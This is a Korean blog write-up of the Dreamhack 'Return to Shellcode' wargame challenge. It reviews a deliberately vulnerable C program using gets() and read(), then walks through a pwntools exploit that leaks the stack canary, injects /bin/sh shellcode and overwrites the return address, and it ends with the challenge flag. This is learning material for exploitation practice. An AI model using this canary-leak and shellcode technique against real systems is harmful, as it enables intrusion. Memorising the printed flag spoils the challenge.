미역줄기의 이모저모

[ Dreamhack ] Return to Shellcode 본문

Hacking/Dremahack 문제풀이

[ Dreamhack ] Return to Shellcode

미역줄기줄기 2024. 2. 8. 15:12
728x90

 

문제코드 리뷰

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x50];

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

 

코드를 보고 느낀.. 지극히 내 주관적인 생각들을 적을 것이기에 틀린 부분이 있으면 알려주시면 감사하겠습니다.

 

buf는 0x50= 80bytes만큼 할당

printf로 buf의 주소, 현재 함수의 스택 프레임 주소에서 버퍼 buf까지의 거리를 계산해서 출력(offset) 

read 함수로 0x100만큼 입력 받고 buf에 저장 여기서 오버플로우 일어날듯

printf로 입력한 값 출력

gets로 buf에 입력 받음 여기서도 오버플로우 일어날듯

 

 

그럼 stack 구조는

이런느낌.

 

 

아!! 그리고 cacnary 값은 맨 앞이 null byte로 시작한다. 그러니까, 실제론 7byte라고 할 수 있다.

 

 

 


 

 

보호기법탐지

보호기법을 파악할 때 주로 사용하는 툴은 checksec이다. 

 

분석을 시도하기 전에 먼저 적용된 보호기법을 파악하자!!

checksec을 통해 파악할 수 있는 보호기법은 RELRO, Canary, NX, PIE 이렇게 네 가지 이다.

그리고 64아키텍쳐이다! 64아키텍쳐에선 canary의 크기는 8byte이다. 

 

 

 

r2s를 실행해봤다.

 

 

첫 번째 실행할 때와 두 번째 실행할때 buf의 주소가 달라지는걸 알 수 있다.

그럼 pwntools로 buf의 주소를 받아오늘 코드를 작성하면 될듯하다

#get info buf address
p.recvuntil(b"buf: ")
buf=int(p.recv()[:-1], 16)
print("Address of buf: ", hex(buf))

p.recvuntil(b"buf:"): "buf: " 문자열이 포함된 라인까지 받아온다. 

buf = int(p.recvline()[:-1], 16): recvline() 함수는 받아온 문자열을 16진수로 표현된 값으로 간주하고, 이를 10진수 정수로 변환하여 buf 변수에 저장한다. 이때 [:-1]는 줄바꿈 문자를 제거하는 역할을 한다.

 

 

 

 

그리고 buf와 $rbp의 거리는 96이다. buf 주소로부터 96byte 떨어진 곳이 SFP의 주소인가보다.

읽어온 96에서 8을 빼면 카나리 값이 위치한 곳이다! 그럼 8을 뺀 값을 저장해둔다

p.recvuntil(b"$rbp: ")
buf2sfp = int(p.recv())

buf2cnry = buf2sfp -8

print("buf <=> sfp: ", byf2sfp)
print("buf <=> canary: ", byfcnry)

 

 

 

 

이때 카나리 값은 맨 앞이 null byte이므로 buf와 카나리 사이를 더미값으로 채울때 null byte가 사라지므로 프로그램에서 buf를 출력할 때 카나리가 같이 출력될 것이다. 

 

buf와 카나리 사이에 임의의 값을 채우는 payload를 작성하여 "Input:" 문자열이 나온 이후 전송하면 카나리 값이 출력될 것인데, 카나리 이전 값들은 잘라내고 카나리 값 7byte를 읽은 뒤 맨 앞에 null byte를 붙여 저장한다.

payload = b'A'*(buf2cnry + 1)
p.sendafter(b"Input:", payload)
p.recvuntil(payload)
cnry = u64(b"\x00" + p.recv(7))
print("Canary: ", cnry)

p.recvn(7): recvn() 함수는 p로부터 7바이트를 읽어오고 있다. 

u64(...): u64 함수는 주어진 바이트 문자열을 64비트의 부호 없는 정수로 변환한다.

 

즉,  b"\x00" + p.recvn(7)로 얻은 8바이트의 데이터를 64비트 정수로 변환한다.

 

 

 

 

 

카나리 값을 구했으니 buf에 셸코드를 주입하고 저장했던 카나리 값으로 덮어쓴 ret를 buf의 주소로 덮는다

페이로드는 buf와 canary거리만큼의 shellcode + canary + 8바이트 더미값 + buf의 주소 이다.

sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b"A") + p64(cnry) + b"B"*0x8 + p64(buf)

p.sendlineafter(b"Input:", payload)
p.interactive()

shellcraft.sh()는 /bin/sh를 실행하는 셸코드를 생성하는 함수이다.

ljust() 함수는 문자열을 주어진 길이로 왼쪽으로 정렬하는데 사용된다.

sh.ljust(buf2cnry, b"a"): buf에서 canary까지 거리만큼의 길이로 sh 어셈블리 코드를 왼쪽 정렬하고 남은 부분은 문자 A로 채운다. 

Exploit

코드 전체는 이렇다.

 

from pwn import *

p = remote('host3.dreamhack.games', 12091)

context.arch = "amd64"

# get information about buf
p.recvuntil(b"buf: ")
buf = int(p.recvline()[:-1], 16)
print("Address of buf : ", hex(buf))

p.recvuntil(b"$rbp: ")
buf2sfp = int(p.recvline())
# print("buf2sfp : " + str(buf2sfp))
buf2cnry = buf2sfp - 8

print("buf <=> sfp : ", buf2sfp) # distance
print("buf <=> canary : ", buf2cnry) # distance

payload = b'a' * (buf2cnry + 1) # (+1) because of the first null-byte

p.sendafter(b"Input:", payload)
p.recvuntil(payload)
cnry = u64(b"\x00" + p.recvn(7))
print("Canry : ", cnry)

sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b"a") + p64(cnry) + b"b" * 0x8 + p64(buf)

# gets() receives input until "\n" is received
p.sendlineafter(b"Input:", payload)

p.interactive()

 

 

 

flag:  DH{333eb89c9d2615dd8942ece08c1d34d5}

'Hacking > Dremahack 문제풀이' 카테고리의 다른 글

[ Dreamhack ] basic_rop_x64  (0) 2024.02.16
[ Dreamhack ] rop  (2) 2024.02.11
[ Dreamhack ] Return to Library  (1) 2024.02.09
[ Dreamhack ] ssp_01  (0) 2024.02.08
[ Dreamhack ] shell_basic  (1) 2024.02.07